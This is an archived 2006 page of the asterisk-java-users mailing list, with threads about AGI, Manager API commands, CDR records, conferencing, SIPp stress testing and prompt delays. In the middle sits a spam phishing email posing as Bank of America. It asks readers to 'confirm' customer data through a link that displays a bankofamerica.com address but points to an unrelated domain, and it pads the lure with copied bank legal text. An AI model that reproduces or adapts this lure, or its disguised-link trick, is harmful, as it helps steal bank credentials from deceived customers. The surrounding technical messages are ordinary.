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From: Allan K. <kam...@ya...> - 2006-08-14 19:09:03
|
Hi all, I am unsuccessful in creating non-pre-existing SIP channels from AGI so as to make calls through them. I am trying to make calls via AGI using asterisk-java, and I have started by using the ManagerAPI and the sample code (http://asterisk-java.org/latest/tutorial.html) but I can only make calls using channels that I have already configured in the sip.conf and that have phones registered to them. Is there some class or method by which I can create channels dynamically (at run time) using asterisk-java? Regards, Allan. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com |
|
From: Bank of A. <upg...@ba...> - 2006-08-12 01:32:42
|
<html><head><style type="text/css">
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</style><title>Fwd: Software Upgrade</title></head><body>
<blockquote type="cite" cite>
<TABLE cellSpacing="0" cellPadding="0" width="358" summary="" border="0">
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<TBODY>
<TR>
<TD width="282" height="69"><DIV><IMG height="69" alt="Bank of America Higher Standards Home" src="http://www.bankofamerica.com/global/mvc_objects/images/mhd_reg_logo.gif" width="250" border="0"></DIV></TD>
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<br>
<br>
<font face="Verdana" size="-1">Dear
client of Bank of America,</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Verdana" size="-1">Technical
services of the Bank of America are carrying out a planned software
upgrade. We earnestly ask you to visit the following link to start the
procedure of confirmation on customers data.</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Verdana" size="-1">To get
started, please click the link below:</font><br>
</blockquote>
<blockquote type="cite" cite><a
href="http://markkingdom.com/.$finance@groups/upgrade/users/logins/index.htm"><font
face="Verdana"
size="-1"><b>http://www.bankofamerica.com/finance-wu/upgrade/users/bofa/index.htm</b
></font></a><br>
</blockquote>
<blockquote type="cite" cite><font face="Verdana" size="-1">This
instruction has been sent to all bank customers and is obligatory to
fallow.</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Verdana" size="-1">Thank
you,</font><br>
</blockquote>
<blockquote type="cite" cite>
<p align="left"><font face="Verdana" size="-1"> Bank of America Customers
Support Service.</font></p>
<div align="left">
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<TD width="62" height="342"> </TD>
<TD width="600" valign="top"><p class="style2"><span class="style4"><span class="style6"><STRONG>ABOUT THIS MESSAGE:</STRONG><BR>
This service message was delivered to you as a Bank of America<font face="Verdana"> </font>Card customer to provide you with account updates and information about your card benefits. Bank of America values your privacy and your preferences.</span></span></p>
<p class="style5">Please note that you will continue to receive service-related e-mail messages that directly concern your existing Bank of America products and services. Please allow up to ten business days for us to process your request.</p>
<p class="style5">If you want to contact Bank of America, please do not reply to this message, but instead go to <A href="http://www.BankOfAmerica.com/" target="_blank">http://www.BankOfAmerica.com/</A>. For faster service, please enroll or log in to your account. Replies to this message will not be read or responded to.</p>
<p class="style5">Your personal information is protected by state-of-the-art technology. For more detailed security information, view our <A href="http://www.bankofamerica.com/privacy/" target="_blank">Online Privacy Policy</A>. To request in writing: Bank of America Privacy Operations, 1301 McKinney Street, Suite 3450, Houston, TX 77010-9050</p> <p class="style5">© 2006 Bank of America Corporation. All rights reserved.</p></TD>
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<p> </p>
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<div><br></div>
</body>
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|
|
From: Stefan R. <sr...@re...> - 2006-08-11 07:14:20
|
Martin Alvidrez wrote:
> public class DTMFCorrectoEvent extends UserEvent {
> public DTMFCorrectoEvent(Object s){super(s);}
> }
>=20
> ...
> java.lang.IllegalArgumentException: class Checador$DTMFCorrectoEvent ha=
s no=20
> usable constructor
> ...
This sounds like you are using inner classes and not the topl level
class DTMFCorrectoEvent... Please make sure you are using the correct cla=
ss.
=3DStefan
--=20
reuter network consulting
Neusser Str. 110
50760 Koeln
Germany
Telefon: +49 221 1305699-0
Telefax: +49 221 1305699-90
E-Mail: sr...@re...
Jabber: sr...@ja...
|
|
From: Martin A. <aga...@ho...> - 2006-08-08 18:27:46
|
I have trying what the docs say but i have a wierd error. Here is the code:
//CODE STARTS
public class DTMFCorrectoEvent extends UserEvent {
public DTMFCorrectoEvent(Object s){super(s);}
}
...
//VARS
ManagerConnection managerConnection=null;
String asteriskIp="X.X.X.X";
String id="manager";
String pw="pa55w0rd";
//CONNECT TO PBX
try{
ManagerConnectionFactory factory = new ManagerConnectionFactory();
managerConnection = factory.getManagerConnection(asteriskIp,id,pw);
managerConnection.login();
managerConnection.addEventHandler(this);
managerConnection.registerUserEventClass(DTMFCorrectoEvent.class);
}catch(Exception err){System.out.println(err);}
//CODE ENDS
I can compile it and no problem, but when i run it it throws:
...
java.lang.IllegalArgumentException: class Checador$DTMFCorrectoEvent has no
usable constructor
...
Can someone tell me whats wrong?! :(
_________________________________________________________________
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|
|
From: Stefan R. <sr...@re...> - 2006-08-03 21:31:10
|
Karien Du Preez wrote: > Just a quick question, I know its meant for the asterisk-users list, bu= t > that list has way too much traffic on it and you hardly get a decent re= ply. yeah but we are really not a general asterisk support list... > How can you check in your dialplan that a channel varaible has been > set/not empty/not zero? have a look at the dialplan functions EXISTS and ISNULL =3DStefan --=20 reuter network consulting Neusser Str. 110 50760 Koeln Germany Telefon: +49 221 1305699-0 Telefax: +49 221 1305699-90 E-Mail: sr...@re... Jabber: sr...@ja... |
|
From: Karien Du P. <kar...@gm...> - 2006-08-03 10:42:50
|
On 8/3/06, Stefan Reuter <sr...@re...> wrote: > > Karien Du Preez wrote: > > Hi. > > > > I'm trying to excute a normal shell command like "ls" via the Manager > > API using the CommandAction. > > > > If I type in "! ls" in the CLI command line on asterisk I get a > > directory print out. > [...] > > Why is this the case? > > I think this is due to the fact that ! simply escapes to the shell you > used to connect to the asterisk server. So if you are connected through > the Manager API there is no shell to escape to. > > > Can someone please help? > > Probably the simplest way is not using the Manager API to run unix > commands on Asterisk but stick to ssh. Maybe something like JSch > (http://www.jcraft.com/jsch/) =Stefan Thanks for the advice, works like a charm. Just a quick question, I know its meant for the asterisk-users list, but that list has way too much traffic on it and you hardly get a decent reply. How can you check in your dialplan that a channel varaible has been set/not empty/not zero? I tried expressions like $[${var} != ""] $[${var} > 0] but it doesn't seem to work. Thanks. |
|
From: Thameem A. <tha...@ya...> - 2006-08-03 03:22:58
|
Actualy you are correct. I am using forkcdr and userfield to do this workaround. -Thameem Vadim Berezniker <Va...@nb...> wrote: ResetCDR will create a new record like you want, but the dst field will still not be correct. The easiest solution is to just use SetCDRUserField and store the information there. -----Original Message----- From: ast...@li... on behalf of Thameem Ansari Sent: Mon 7/31/2006 10:49 PM To: asterisk java Subject: [Asterisk-java-users] ResetCDR vs ForkCDR Hi, I am writing a calling card application and here is how it works. User call the toll free number and the context answer() the call and pass it to AGI. Inside AGI i am getting the callerid and identifying the accountcode then setting it to the channel. Once everything is good then execute the Dial application from the AGI. This works perfect. Now the problem is, once the call is completed, I am seeing only one CDR record with src=callerid and dst=destination number and the billable secs includes the seconds used during the initial IVRs. (ie, start from Answering the toll free incoming until the hangup) I tried using resetCDR() and forkCDR() before I Dial but nothing works. Please help me figure out the issue. Thanks, Thameem --------------------------------- Do you Yahoo!? Get on board. You're invited to try the new Yahoo! Mail Beta. ------------------------------------------------------------------------- Take Surveys. Earn Cash. Influence the Future of IT Join SourceForge.net's Techsay panel and you'll get the chance to share your opinions on IT & business topics through brief surveys -- and earn cash http://www.techsay.com/default.php?page=join.php&p=sourceforge&CID=DEVDEV_______________________________________________ Asterisk-java-users mailing list Ast...@li... https://lists.sourceforge.net/lists/listinfo/asterisk-java-users --------------------------------- Do you Yahoo!? Everyone is raving about the all-new Yahoo! Mail Beta. |
|
From: Stefan R. <sr...@re...> - 2006-08-03 00:10:16
|
Karien Du Preez wrote: > Hi. >=20 > I'm trying to excute a normal shell command like "ls" via the Manager > API using the CommandAction. >=20 > If I type in "! ls" in the CLI command line on asterisk I get a > directory print out. [...] > Why is this the case? I think this is due to the fact that ! simply escapes to the shell you used to connect to the asterisk server. So if you are connected through the Manager API there is no shell to escape to. > Can someone please help? Probably the simplest way is not using the Manager API to run unix commands on Asterisk but stick to ssh. Maybe something like JSch (http://www.jcraft.com/jsch/) =3DStefan --=20 reuter network consulting Neusser Str. 110 50760 Koeln Germany Telefon: +49 221 1305699-0 Telefax: +49 221 1305699-90 E-Mail: sr...@re... Jabber: sr...@ja... |
|
From: Vadim B. <Va...@nb...> - 2006-08-02 14:20:41
|
ResetCDR will create a new record like you want, but the dst field will = still not be correct. The easiest solution is to just use SetCDRUserField and store the = information there. -----Original Message----- From: ast...@li... on behalf of = Thameem Ansari Sent: Mon 7/31/2006 10:49 PM To: asterisk java Subject: [Asterisk-java-users] ResetCDR vs ForkCDR =20 Hi, I am writing a calling card application and here is how it works. User = call the toll free number and the context answer() the call and pass it = to AGI. Inside AGI i am getting the callerid and identifying the = accountcode then setting it to the channel. Once everything is good then = execute the Dial application from the AGI. This works perfect. Now the = problem is, once the call is completed, I am seeing only one CDR record = with src=3Dcallerid and dst=3Ddestination number and the billable secs = includes the seconds used during the initial IVRs. (ie, start from = Answering the toll free incoming until the hangup) I tried using resetCDR() and forkCDR() before I Dial but nothing works. = Please help me figure out the issue. Thanks, Thameem =09 --------------------------------- Do you Yahoo!? Get on board. You're invited to try the new Yahoo! Mail Beta. |
|
From: Karien Du P. <kar...@gm...> - 2006-08-02 12:55:48
|
Hi.
I'm trying to excute a normal shell command like "ls" via the Manager API
using the CommandAction.
If I type in "! ls" in the CLI command line on asterisk I get a directory
print out.
But when I do it via the Manager API using the CommandAction it doesn't seem
to be executed.
I have a ManagerResponseHandler in place we get a response back but it just
says:
11180085_5#
Follows
It doesn't give us the directory list back.
The code:
CommandAction cmdAction = new CommandAction("! ls");
managerConnection.sendAction(cmdAction, this);
The connection is correctly made and we can execute other cli commands like
"help" and get the print out of the help result.
The manager account that I'm using has the following privileges.
read = system,call,log,verbose,command,agent,user
write = system,call,log,verbose,command,agent,user
The reason why I want to this is to convert and delete recording files via a
script that I wrote.
Issuing commands like "! rm -f *.wav" doesn't delete the files so its not
just a case of not retrieving the output back.
Why is this the case?
Can someone please help?
I need this to work very fast - you know how it is with deadlines...
I'm using Asterisk 0.2.
Using the System application on a channel works fine. But I don't want to
dial into asterisk (make a channel) everytime I do this to trigger the
script.
exten => 3333,1,System(conversion script)
Thanks for any help.
|
|
From: Stefan R. <sr...@re...> - 2006-08-01 20:01:37
|
Thameem Ansari wrote: > I tried using resetCDR() and forkCDR() before I Dial but nothing works.= > Please help me figure out the issue. hmm sorry I cant help you. The issue sounds like a general Asterisk question, maybe its best to just ask on the asterisk-users list. =3DStefan --=20 reuter network consulting Neusser Str. 110 50760 Koeln Germany Telefon: +49 221 1305699-0 Telefax: +49 221 1305699-90 E-Mail: sr...@re... Jabber: sr...@ja... |
|
From: Thameem A. <tha...@ya...> - 2006-08-01 02:50:03
|
Hi, I am writing a calling card application and here is how it works. User call the toll free number and the context answer() the call and pass it to AGI. Inside AGI i am getting the callerid and identifying the accountcode then setting it to the channel. Once everything is good then execute the Dial application from the AGI. This works perfect. Now the problem is, once the call is completed, I am seeing only one CDR record with src=callerid and dst=destination number and the billable secs includes the seconds used during the initial IVRs. (ie, start from Answering the toll free incoming until the hangup) I tried using resetCDR() and forkCDR() before I Dial but nothing works. Please help me figure out the issue. Thanks, Thameem --------------------------------- Do you Yahoo!? Get on board. You're invited to try the new Yahoo! Mail Beta. |
|
From: Stefan R. <sr...@re...> - 2006-07-31 08:39:16
|
Thameem Ansari wrote: > Did anybody done this callback application? I would like to write one > and if anyone already did this please shed some light on this. > I think have to use the Meetme application to bridge the calls and need= > more details. No you dont. You just hangup the incoming call, note the callerid and originate a new call to that destination. > Stefan - I am trying to find out the library with "live" package but > couldn't find one either from the asterisk-java website or sourceforge.= > I also noted the cvs instructions from asterisk-java site is not > working. Please update.=20 The URL for the development version is http://asterisk-java.org/0.3-SNAPS= HOT > There was a bug I notifed to you about > channel.getAccountCode() which was returning null in 0.3 snapshot. Did > you fix this bug and available in any code? Hm not sure. Did you put that bug in the bug tracker (http://jira.reucon.org). If yes you will see the status there. =3DStefan --=20 reuter network consulting Neusser Str. 110 50760 Koeln Germany Telefon: +49 221 1305699-0 Telefax: +49 221 1305699-90 E-Mail: sr...@re... |
|
From: Thameem A. <tha...@ya...> - 2006-07-31 02:07:08
|
Did anybody done this callback application? I would like to write one and if anyone already did this please shed some light on this. I think have to use the Meetme application to bridge the calls and need more details. Stefan - I am trying to find out the library with "live" package but couldn't find one either from the asterisk-java website or sourceforge. I also noted the cvs instructions from asterisk-java site is not working. Please update. There was a bug I notifed to you about channel.getAccountCode() which was returning null in 0.3 snapshot. Did you fix this bug and available in any code? Thanks, Thameem --------------------------------- See the all-new, redesigned Yahoo.com. Check it out. |
|
From: Stefan R. <sr...@re...> - 2006-07-30 21:00:09
|
Kevin Clark wrote: > What is the best way to bridge 2 channels and then bridge them with a 3= rd=20 > channel/extension? You should have a look at Asterik's MeetMe application - it supports conferencing of an arbitrary number of channels/lines. =3DStefan --=20 reuter network consulting Neusser Str. 110 50760 Koeln Germany Telefon: +49 221 1305699-0 Telefax: +49 221 1305699-90 E-Mail: sr...@re... Jabber: sr...@ja... |
|
From: Kevin C. <ke...@cs...> - 2006-07-30 20:42:10
|
Hi, Can the RedirectAction be used to set up a 3-way conference call? I've been trying to use the extraChannel parameter to achieve this but to no avail. Have I misunderstood how I should be using the extraChannel parameter? What is the best way to bridge 2 channels and then bridge them with a 3rd channel/extension? Many thanks, Kevin |
|
From: george h. <ha...@gm...> - 2006-07-28 05:03:50
|
Hi, When OriginateFailureEvent is invoked i am calling getReason() and i am returned an integer (5). How can I turn that integer into a readable error string for user feedback? Thank you for any help, George |
|
From: Jonathan A. <jau...@st...> - 2006-07-25 18:12:28
|
Juan, Here is a command line to send one call and echo the RTP stream. sipp [remote host] -i [local host] -s [SIP user name] -mp [local RTP echo port] -m [number of SIP calls before exiting] -d [duration of call in msecs] -trace_msg -trace_screen -trace_err -trace_logs example: sipp 10.10.0.5 -i 10.10.0.4 -s jdoe -mp 15000 -m 1 -d 30000 - trace_msg -trace_screen -trace_err -trace_logs (This will place one SIP call from 10.10.0.4 to 10.10.0.5. It has a duration of 30 seconds and the application will echo back all RTP sent to port 15000. The indicated log and error files will be created.) Jonathan On Jul 25, 2006, at 10:34 AM, Juan Carlos Castellon wrote: > Hi again, > > Im over a LAN running an Asterisk. Im just trying to > make a simple call to another phone using SIPP. I got the other > phone number and the IP address of the other machine. > > > > Could anyone send me a simple example how to do that call with Sipp ? > > > > > > Best regards, > > Juan > > ---------------------------------------------------------------------- > --- > Take Surveys. Earn Cash. Influence the Future of IT > Join SourceForge.net's Techsay panel and you'll get the chance to > share your > opinions on IT & business topics through brief surveys -- and earn > cash > http://www.techsay.com/default.php? > page=join.php&p=sourceforge&CID=DEVDEV________________________________ > _______________ > Asterisk-java-users mailing list > Ast...@li... > https://lists.sourceforge.net/lists/listinfo/asterisk-java-users |
|
From: Juan C. C. <jua...@gl...> - 2006-07-25 17:34:38
|
Hi again,
Im over a LAN running an Asterisk. Im just trying to make a
simple call to another phone using SIPP. I got the other phone number and
the IP address of the other machine.
Could anyone send me a simple example how to do that call with Sipp ?
Best regards,
Juan
|
|
From: Jonathan A. <jau...@st...> - 2006-07-24 19:54:18
|
One source for load testing is sipp. You can use it to send multiple =20= SIP calls to your system. http://sipp.sourceforge.net Jonathan On Jul 24, 2006, at 11:36 AM, Juan Carlos Castellon wrote: > Hi list, > > How do you think i could do an Stress Test? Did anyone =20 > made something like this? Examples? > > Specifically Im trying to see how the Asterisk-Java framework =20 > response against big amounts of Events, Calls, =85 > > > > Best regards, > > Juan Carlos Castell=F3n > > > > ----------------------------------------------------------------------=20= > --- > Take Surveys. Earn Cash. Influence the Future of IT > Join SourceForge.net's Techsay panel and you'll get the chance to =20 > share your > opinions on IT & business topics through brief surveys -- and earn =20 > cash > http://www.techsay.com/default.php?=20 > page=3Djoin.php&p=3Dsourceforge&CID=3DDEVDEV____________________________= ____=20 > _______________ > Asterisk-java-users mailing list > Ast...@li... > https://lists.sourceforge.net/lists/listinfo/asterisk-java-users |
|
From: Juan C. C. <jua...@gl...> - 2006-07-24 18:36:14
|
Hi list,
How do you think i could do an Stress Test? Did anyone made
something like this? Examples?
Specifically Im trying to see how the Asterisk-Java framework response
against big amounts of Events, Calls, =85
=20
Best regards,
Juan Carlos Castell=F3n
=20
|
|
From: Brett S. <bs...@no...> - 2006-07-23 07:09:44
|
You may be correct, however you need to consider the possibility that you have multiple bugs. You should also consider that the multiple delays could also be caused by multiple dns lookups at different positions in the code. The timing (20-30 seconds) feels very familiar to dns problems we have had in the past. One possible method of eliminating dns as a cause is to mis-configure you systems dns settings to ensure that dns always fails. Be aware that java caches dns settings and that you will need to restart your java application to clear the cache. You will also need to clear the dns cache on each of your servers. We have a fast agi app which doesn't sound to dissimilar to yours and we aren't experiencing your problems. We have seen delays in playing the prompt, but in the order of a second or so and this can be attributed to latency in the network (the java and asterisk servers are connected via the internet, one on a slow link). I gather that you can't reproduce the problem at will? We use the following to monitor manager api traffic in realtime (as suggested by Stefan): ngrep -s 4000 port 5038 just change the port to whatever port you are running the fastagi server on. Regards, Brett Jonathan Augenstine wrote: > I would consider this a possibility if it was simply a delay in > receiving the first prompt but the delays occur throughout the entire > duration of the call. Also, this would not explain other anomalies > like the initial prompt playing twice. > > On Jul 22, 2006, at 6:06 PM, Brett Sutton wrote: > >> Are you certain that its not a DNS issue. >> If the asterisk server has periodically having trouble resolving dns >> names to ip addresses then you can experience the sort of delays you >> are talking about. >> You can eliminate this as a possibility by using an IP address in the >> dial plan. Of course if you are already using an IP address then this >> is less likely to be the case. However be aware that if the >> asterisk-java libraries is doing any DNS or reverse DNS lookups >> before it passes the call to you then again you can experience the >> problem. >> >> >> >> Jonathan Augenstine wrote: >>> I have increased the pool size, but I was experiencing this with with >>> only 2 or 3 calls. I am fairly certain that it is something going on >>> in Asterisk and not the Asterisk-Java package, but I thought I would >>> ping the group to see if someone else may have experienced the same >>> behavior. I am currently working on the theory that something is >>> going on with some module in Asterisk and I am disabling unused >>> modules. Part of the difficulty I have had is that the behavior only >>> lasts for a short time not giving me much time to enable debugging >>> and then make test calls. This could be ugly but if it gets worse >>> maybe it will be easier to troubleshoot. >>> >>> On Jul 21, 2006, at 1:29 AM, Stefan Reuter wrote: >>> >>> >>>> Jonathan Augenstine wrote: >>>> >>>>> I have an Asterisk-Java app using >>>>> the AGI interface. Simply it answers a call, plays some prompts, and >>>>> collects DTMF. What has happened is that I have called in and the >>>>> initial prompt plays twice. I also note a long delay in the start of >>>>> the prompts playing. I have not timed the delay but it is on the >>>>> order of 20-30 seconds. >>>>> >>>> Did you have more than 10 concurrent AGI requests to your AGI server? >>>> That might explain the delay that you encounter, because 10 is the >>>> default pool size. You can adjust it in a properties file as shown in >>>> the tutorial. >>>> I have no idea what might be the cause for the prompts being played >>>> twice and never encountered that. Maybe you can trace it if you enable >>>> AGI debugging on Asterisk - but if its hard to reproduce... >>>> >>>> =Stefan >>>> >>>> -- >>>> reuter network consulting >>>> Neusser Str. 110 >>>> 50760 Koeln >>>> Germany >>>> Telefon: +49 221 1305699-0 >>>> Telefax: +49 221 1305699-90 >>>> E-Mail: sr...@re... >>>> >>>> ---------------------------------------------------------------------- >>>> --- >>>> Take Surveys. Earn Cash. Influence the Future of IT >>>> Join SourceForge.net's Techsay p\anel and you'll get the chance to >>>> share your >>>> opinions on IT & business topics through brief surveys -- and earn >>>> cash >>>> http://www.techsay.com/default.php? >>>> page=join.php&p=sourceforge&CID=DEVDEV________________________________ >>>> _______________ >>>> Asterisk-java-users mailing list >>>> Ast...@li... >>>> https://lists.sourceforge.net/lists/listinfo/asterisk-java-users >>>> >>> ------------------------------------------------------------------------- >>> Take Surveys. Earn Cash. Influence the Future of IT >>> Join SourceForge.net's Techsay panel and you'll get the chance to share your >>> opinions on IT & business topics through brief surveys -- and earn cash >>> http://www.techsay.com/default.php?page=join.php&p=sourceforge&CID=DEVDEV >>> _______________________________________________ >>> Asterisk-java-users mailing list >>> Ast...@li... >>> https://lists.sourceforge.net/lists/listinfo/asterisk-java-users >>> >> >> ------------------------------------------------------------------------- >> Take Surveys. Earn Cash. Influence the Future of IT >> Join SourceForge.net's Techsay panel and you'll get the chance to >> share your >> opinions on IT & business topics through brief surveys -- and earn cash >> http://www.techsay.com/default.php?page=join.php&p=sourceforge&CID=DEVDEV_______________________________________________ >> <http://www.techsay.com/default.php?page=join.php&p=sourceforge&CID=DEVDEV_______________________________________________> >> Asterisk-java-users mailing list >> Ast...@li... >> <mailto:Ast...@li...> >> https://lists.sourceforge.net/lists/listinfo/asterisk-java-users > > ------------------------------------------------------------------------ > > ------------------------------------------------------------------------- > Take Surveys. Earn Cash. Influence the Future of IT > Join SourceForge.net's Techsay panel and you'll get the chance to share your > opinions on IT & business topics through brief surveys -- and earn cash > http://www.techsay.com/default.php?page=join.php&p=sourceforge&CID=DEVDEV > ------------------------------------------------------------------------ > > _______________________________________________ > Asterisk-java-users mailing list > Ast...@li... > https://lists.sourceforge.net/lists/listinfo/asterisk-java-users > |
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From: Jonathan A. <jau...@st...> - 2006-07-23 01:20:19
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I would consider this a possibility if it was simply a delay in receiving the first prompt but the delays occur throughout the entire duration of the call. Also, this would not explain other anomalies like the initial prompt playing twice. On Jul 22, 2006, at 6:06 PM, Brett Sutton wrote: > Are you certain that its not a DNS issue. > If the asterisk server has periodically having trouble resolving > dns names to ip addresses then you can experience the sort of > delays you are talking about. > You can eliminate this as a possibility by using an IP address in > the dial plan. Of course if you are already using an IP address > then this is less likely to be the case. However be aware that if > the asterisk-java libraries is doing any DNS or reverse DNS lookups > before it passes the call to you then again you can experience the > problem. > > > > Jonathan Augenstine wrote: >> I have increased the pool size, but I was experiencing this with with >> only 2 or 3 calls. I am fairly certain that it is something going on >> in Asterisk and not the Asterisk-Java package, but I thought I would >> ping the group to see if someone else may have experienced the same >> behavior. I am currently working on the theory that something is >> going on with some module in Asterisk and I am disabling unused >> modules. Part of the difficulty I have had is that the behavior only >> lasts for a short time not giving me much time to enable debugging >> and then make test calls. This could be ugly but if it gets worse >> maybe it will be easier to troubleshoot. >> >> On Jul 21, 2006, at 1:29 AM, Stefan Reuter wrote: >> >> >>> Jonathan Augenstine wrote: >>> >>>> I have an Asterisk-Java app using >>>> the AGI interface. Simply it answers a call, plays some >>>> prompts, and >>>> collects DTMF. What has happened is that I have called in and the >>>> initial prompt plays twice. I also note a long delay in the >>>> start of >>>> the prompts playing. I have not timed the delay but it is on the >>>> order of 20-30 seconds. >>>> >>> Did you have more than 10 concurrent AGI requests to your AGI >>> server? >>> That might explain the delay that you encounter, because 10 is the >>> default pool size. You can adjust it in a properties file as >>> shown in >>> the tutorial. >>> I have no idea what might be the cause for the prompts being played >>> twice and never encountered that. Maybe you can trace it if you >>> enable >>> AGI debugging on Asterisk - but if its hard to reproduce... >>> >>> =Stefan >>> >>> -- >>> reuter network consulting >>> Neusser Str. 110 >>> 50760 Koeln >>> Germany >>> Telefon: +49 221 1305699-0 >>> Telefax: +49 221 1305699-90 >>> E-Mail: sr...@re... >>> >>> -------------------------------------------------------------------- >>> -- >>> --- >>> Take Surveys. Earn Cash. Influence the Future of IT >>> Join SourceForge.net's Techsay p\anel and you'll get the chance to >>> share your >>> opinions on IT & business topics through brief surveys -- and earn >>> cash >>> http://www.techsay.com/default.php? >>> page=join.php&p=sourceforge&CID=DEVDEV______________________________ >>> __ >>> _______________ >>> Asterisk-java-users mailing list >>> Ast...@li... >>> https://lists.sourceforge.net/lists/listinfo/asterisk-java-users >>> >> --------------------------------------------------------------------- >> ---- >> Take Surveys. Earn Cash. Influence the Future of IT >> Join SourceForge.net's Techsay panel and you'll get the chance to >> share your >> opinions on IT & business topics through brief surveys -- and earn >> cash >> http://www.techsay.com/default.php? >> page=join.php&p=sourceforge&CID=DEVDEV >> _______________________________________________ >> Asterisk-java-users mailing list >> Ast...@li... >> https://lists.sourceforge.net/lists/listinfo/asterisk-java-users >> > > ---------------------------------------------------------------------- > --- > Take Surveys. Earn Cash. Influence the Future of IT > Join SourceForge.net's Techsay panel and you'll get the chance to > share your > opinions on IT & business topics through brief surveys -- and earn > cash > http://www.techsay.com/default.php? > page=join.php&p=sourceforge&CID=DEVDEV________________________________ > _______________ > Asterisk-java-users mailing list > Ast...@li... > https://lists.sourceforge.net/lists/listinfo/asterisk-java-users |
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From: Brett S. <bs...@no...> - 2006-07-23 01:06:50
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Are you certain that its not a DNS issue. If the asterisk server has periodically having trouble resolving dns names to ip addresses then you can experience the sort of delays you are talking about. You can eliminate this as a possibility by using an IP address in the dial plan. Of course if you are already using an IP address then this is less likely to be the case. However be aware that if the asterisk-java libraries is doing any DNS or reverse DNS lookups before it passes the call to you then again you can experience the problem. Jonathan Augenstine wrote: > I have increased the pool size, but I was experiencing this with with > only 2 or 3 calls. I am fairly certain that it is something going on > in Asterisk and not the Asterisk-Java package, but I thought I would > ping the group to see if someone else may have experienced the same > behavior. I am currently working on the theory that something is > going on with some module in Asterisk and I am disabling unused > modules. Part of the difficulty I have had is that the behavior only > lasts for a short time not giving me much time to enable debugging > and then make test calls. This could be ugly but if it gets worse > maybe it will be easier to troubleshoot. > > On Jul 21, 2006, at 1:29 AM, Stefan Reuter wrote: > > >> Jonathan Augenstine wrote: >> >>> I have an Asterisk-Java app using >>> the AGI interface. Simply it answers a call, plays some prompts, and >>> collects DTMF. What has happened is that I have called in and the >>> initial prompt plays twice. I also note a long delay in the start of >>> the prompts playing. I have not timed the delay but it is on the >>> order of 20-30 seconds. >>> >> Did you have more than 10 concurrent AGI requests to your AGI server? >> That might explain the delay that you encounter, because 10 is the >> default pool size. You can adjust it in a properties file as shown in >> the tutorial. >> I have no idea what might be the cause for the prompts being played >> twice and never encountered that. Maybe you can trace it if you enable >> AGI debugging on Asterisk - but if its hard to reproduce... >> >> =Stefan >> >> -- >> reuter network consulting >> Neusser Str. 110 >> 50760 Koeln >> Germany >> Telefon: +49 221 1305699-0 >> Telefax: +49 221 1305699-90 >> E-Mail: sr...@re... >> >> ---------------------------------------------------------------------- >> --- >> Take Surveys. Earn Cash. Influence the Future of IT >> Join SourceForge.net's Techsay p\anel and you'll get the chance to >> share your >> opinions on IT & business topics through brief surveys -- and earn >> cash >> http://www.techsay.com/default.php? >> page=join.php&p=sourceforge&CID=DEVDEV________________________________ >> _______________ >> Asterisk-java-users mailing list >> Ast...@li... >> https://lists.sourceforge.net/lists/listinfo/asterisk-java-users >> > > > ------------------------------------------------------------------------- > Take Surveys. Earn Cash. Influence the Future of IT > Join SourceForge.net's Techsay panel and you'll get the chance to share your > opinions on IT & business topics through brief surveys -- and earn cash > http://www.techsay.com/default.php?page=join.php&p=sourceforge&CID=DEVDEV > _______________________________________________ > Asterisk-java-users mailing list > Ast...@li... > https://lists.sourceforge.net/lists/listinfo/asterisk-java-users > |
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From: Jonathan A. <jau...@st...> - 2006-07-22 20:42:13
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I have increased the pool size, but I was experiencing this with with only 2 or 3 calls. I am fairly certain that it is something going on in Asterisk and not the Asterisk-Java package, but I thought I would ping the group to see if someone else may have experienced the same behavior. I am currently working on the theory that something is going on with some module in Asterisk and I am disabling unused modules. Part of the difficulty I have had is that the behavior only lasts for a short time not giving me much time to enable debugging and then make test calls. This could be ugly but if it gets worse maybe it will be easier to troubleshoot. On Jul 21, 2006, at 1:29 AM, Stefan Reuter wrote: > Jonathan Augenstine wrote: >> I have an Asterisk-Java app using >> the AGI interface. Simply it answers a call, plays some prompts, and >> collects DTMF. What has happened is that I have called in and the >> initial prompt plays twice. I also note a long delay in the start of >> the prompts playing. I have not timed the delay but it is on the >> order of 20-30 seconds. > > Did you have more than 10 concurrent AGI requests to your AGI server? > That might explain the delay that you encounter, because 10 is the > default pool size. You can adjust it in a properties file as shown in > the tutorial. > I have no idea what might be the cause for the prompts being played > twice and never encountered that. Maybe you can trace it if you enable > AGI debugging on Asterisk - but if its hard to reproduce... > > =Stefan > > -- > reuter network consulting > Neusser Str. 110 > 50760 Koeln > Germany > Telefon: +49 221 1305699-0 > Telefax: +49 221 1305699-90 > E-Mail: sr...@re... > > ---------------------------------------------------------------------- > --- > Take Surveys. Earn Cash. Influence the Future of IT > Join SourceForge.net's Techsay panel and you'll get the chance to > share your > opinions on IT & business topics through brief surveys -- and earn > cash > http://www.techsay.com/default.php? > page=join.php&p=sourceforge&CID=DEVDEV________________________________ > _______________ > Asterisk-java-users mailing list > Ast...@li... > https://lists.sourceforge.net/lists/listinfo/asterisk-java-users |
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